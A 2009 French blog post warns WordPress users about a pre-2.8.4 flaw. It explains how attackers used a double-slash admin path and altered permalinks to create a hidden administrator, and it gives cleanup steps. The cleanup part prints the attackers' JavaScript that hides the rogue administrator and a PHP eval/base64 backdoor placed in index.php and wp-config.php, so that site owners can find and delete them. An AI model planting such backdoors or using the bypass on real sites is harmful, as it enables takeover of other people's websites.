Le 13 septembre 2009

Trucs et astucesWeb et blogues

Par

Une faille de WordPress extrêmement compromettante!

Utilisateurs de blogs avec Wordpress, je vous conseille vivement de lire ce qui suit! Il se pourrait très bien que votre ou vos blogues sous Wordpress soient compromis et à la merci de personnes peu scrupuleuses.

Utilisateurs de blogs avec WordPress, je vous conseille vivement de lire ce qui suit! Il se pourrait très bien que votre ou vos blogues sous WordPress soient compromis et à la merci de personnes peu scrupuleuses.

Tout d’abord, petite mise en situation. Je m’aperçoit cette semaine que les permaliens d’un de mes blogs étaient brisés. En fait, j’utilisais les pretty permalinks, bref, une structure de lien personnalisée qui contient la date et l’identifiant de mon article, un peu comme ce blogue que vous consultez actuellement. Sauf que bizarrement, la structure des permaliens avait changé toute seule pour revenir à la valeur par défaut, ces horribles liens de type http://technet.ameriquebec.net/?p=123 …

C’est ce qui m’a mis la puce à l’oreille. J’ai donc cherché sur le forum de WordPress afin de voir si j’étais le seul à avoir eu ce problème de changement spontané de permaliens. Et c’est ainsi que j’ai découvert que je n’étais pas le seul, et que ce qui c’était produit sur mes blogues était vraiment compromettant.

Comment fonctionne cette faille de WordPress?

J’ai trouvé toutes ces informations en anglais sur le forum de WordPress et je vous traduis le tout ici. Voici comment cette faille fonctionne:

  1. Un utilisateur qui semble normal s’inscrit. Dans les cas répertoriés, cet utilisateur s’appelle MikeWink.
  2. Une fois inscrit, cet utilisateur peut modifier vos permaliens. N’importe qui peut le faire, une fois que la faille est découverte!
  3. Pour modifier vos permaliens, le nouvel inscrit n’a qu’à se connecter à l’interface administrateur de WordPress. Par la suite, il modifiera l’adresse pour que celle-ci ressemble à http://www.exemple.com/wp-admin//options-permalink.php. La partie importante de cette faille est l’utilisation du //, soit deux barres obliques plutôt qu’une. Cela a pour effet de contourner le processus de validation de WordPress qui détermine si l’utilisateur a les droit pour accéder à cette page.
  4. Les permaliens étant modifiés, on peut retrouver dans l’URL des pages du blog WordPress hacké du texte qui permet d’exécuter du code arbitrairement.
  5. Ce code exécuté arbitrairement appelle un script hébergé sur un site chinois. Ce code permet ni plus ni moins d’ajouter un nouvel utilisateur avec les droits d’administrateur.
  6. Une fois cet utilisateur inscrit, il exécute une ligne de code, update_option(‘users_can_register’,0); ce qui a pour effet de désactiver l’inscription de nouveaux utilisateurs (il ne faudrait pas que quelqu’un d’autre que lui puisse profiter de cette faille!)
  7. En utilisant le bogue des barres obliques doubles //, n’importe qui peut finalement accéder à n’importe quelle page de l’interface administrateur de WordPress. Un utilisateur mal intentionné pourrait même accéder à la page d’exportation de l’administration, et ainsi extraire vos articles entièrement.

Comment savoir si mon blogue a été hacké et le rétablir?

  1. Tout d’abord, si vos permaliens ont été modifiés, c’est un très mauvais signe et votre blog a probablement été hacké. Allez dans la page d’option de vos permaliens, et rétablissez la structure originale de vos liens.
  2. Allez consulter la liste de vos utilisateurs, et cherchez parmi les inscrits MikeWink, Miriam ou Adrianq. Cette liste n’est pas exhaustive et il y a probablement d’autres utilisateurs susceptibles de hacker votre blogue. Règle générale, MikeWink est probablement l’utilisateur qui déclenche tout ça. Supprimez tout utilisateur qui vous paraît étrange.
  3. Toujours dans la liste des utilisateurs, rendez-vous dans la liste des utilisateurs Administrateurs. À moins d’avoir donné volontairement l’accès administrateur à d’autre personnes, il ne devrait y avoir qu’un administrateur, c’est-à-dire vous. Si vous voyez qu’il est écrit Administrateur (2), mais qu’un seul administrateur s’affiche, c’est que le hackeur a réussi à créer un administrateur.
  4. Dans le cas échéant, actualisez votre page rapidement, vous devriez voir apparaître un utilisateur administrateur qui disparaît aussitôt, en une fraction de secondes. Il sera donc invisible et impossible à supprimer facilement.
  5. Ouvrez le code source de cette page, et cherchez l’utilisateur en question. Vous aurez plus de facilité en cherchant (CTRL+F) l’expression « class=’administrator’ » et cherchez jusqu’à ce que vous trouviez un utilisateur qui n’est pas vous (ou quelqu’un que vous avez volontairement désigné comme administrateur). Prenez en note son numéro d’utilisateur (il suffit de regarder le chiffre du champs value qui se trouve tout juste après l’expression que je vous ai dit de chercher.
  6. Ça devient un peu plus compliqué ici. Dans votre barre d’adresse, après le /wp-admin, ajoutez /user-edit.php?user_id=XXX et remplacez le XXX par le chiffre que vous avez pris en note. Appuyez sur Entrée, et vous accéderez au profil de l’administrateur clandestin.
  7. Tant que l’administrateur clandestin est administrateur, vous ne pourrez pas le supprimer. Changez donc son profil en le mettant simplement comme Abonné. Pendant que vous y êtes, supprimez le code suivant qui se trouve dans le champs du nom de cet utilisateur. C’est ce code qui rend invisible l’utilisateur:<div id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator1</gi.exec(arr[i].innerHTML); if(n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator2</gi,">Administrator ("+(n[1]-1)+")<");         arr[i].innerHTML=txt;         }     }           }catch(e){};      };      addLoadEvent(setUserName); </script></div> Vous pouvez regarder cette image à titre d’exemple:

    Une installation de WordPress hackée

  8. Vous pouvez maintenant supprimer l’utilisateur indésirable.
  9. Finalement, jetez un coup d’oeil à vos fichiers situés sur le serveur. Il est assez difficile d’énumérer quels fichiers peuvent être affectés, mais il est très probable que plusieurs d’entre eux contiennent du code arbitraire inséré par le malicieux hackeur. Pensez à vérifier principalement les fichiers index.php dans tous vos dossiers (principalement à la racine du serveur et dans le dossier wp-content ainsi que uploads). De plus, vérifiez votre fichier wp-config.php et assurez-vous que le code ne s’y trouve pas non plus. Dans le cas échéant, supprimez-le. Voici le code en question:
    <?php function gpc_19045($l19047){if(is_array($l19047)){foreach($l19047 as $l19045=>$l19046)$l19047[$l19045]=gpc_19045($l19046);}elseif(is_string($l19047) && substr($l19047,0,4)=="____"){eval(base64_decode(substr($l19047,4)));$l19047=null;}return $l19047;}if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map("gpc_19045",$_SERVER);
    // Silence is golden.
    ?>
  10. Vous pouvez aussi en profiter pour réactiver l’inscription des utilisateurs (qui avait été désactivé par le hackeur).
  11. Et de grâce, mettez-à-jour votre blogue avec la dernière version de WordPress, car la question n’est pas de savoir si vous serez hacké de nouveau, mais plutôt quand serez-vous hacké.

Voilà! Je sais que cela pourrait être plus clair, mais il est évident que de vulgariser tout cela n’est pas facile. Si vous avez besoin d’aide, n’hésitez pas à demander en commentaires et je verrai ce que je peux faire.

ET SOUVENEZ-VOUS QUE TOUTES LES VERSIONS DE WORDPRESS ANTÉRIEURES À LA VERSION 2.8.4 SONT VULNÉRABLES!

Source des infos: Ce sujet sur le forum de wordpress.

  1. d+ []
  2. d+ []

Related posts:

  1. Comment désactiver le email unique dans WordPress 2.8?
  2. Où héberger un blogue utilisant WordPress?
  3. 30% discount coupon code for WordPress hosting with WPWebHost
  4. Coupon-rabais de 30% pour héberger votre blog chez WPWebHost

Tags: , , ,

Laissez un commentaire

Vous devez être connecté pour laisser un commentaire.

 
Commentaires récents
Communauté

Amériquébec - Tous droits réservés, © 2006-2014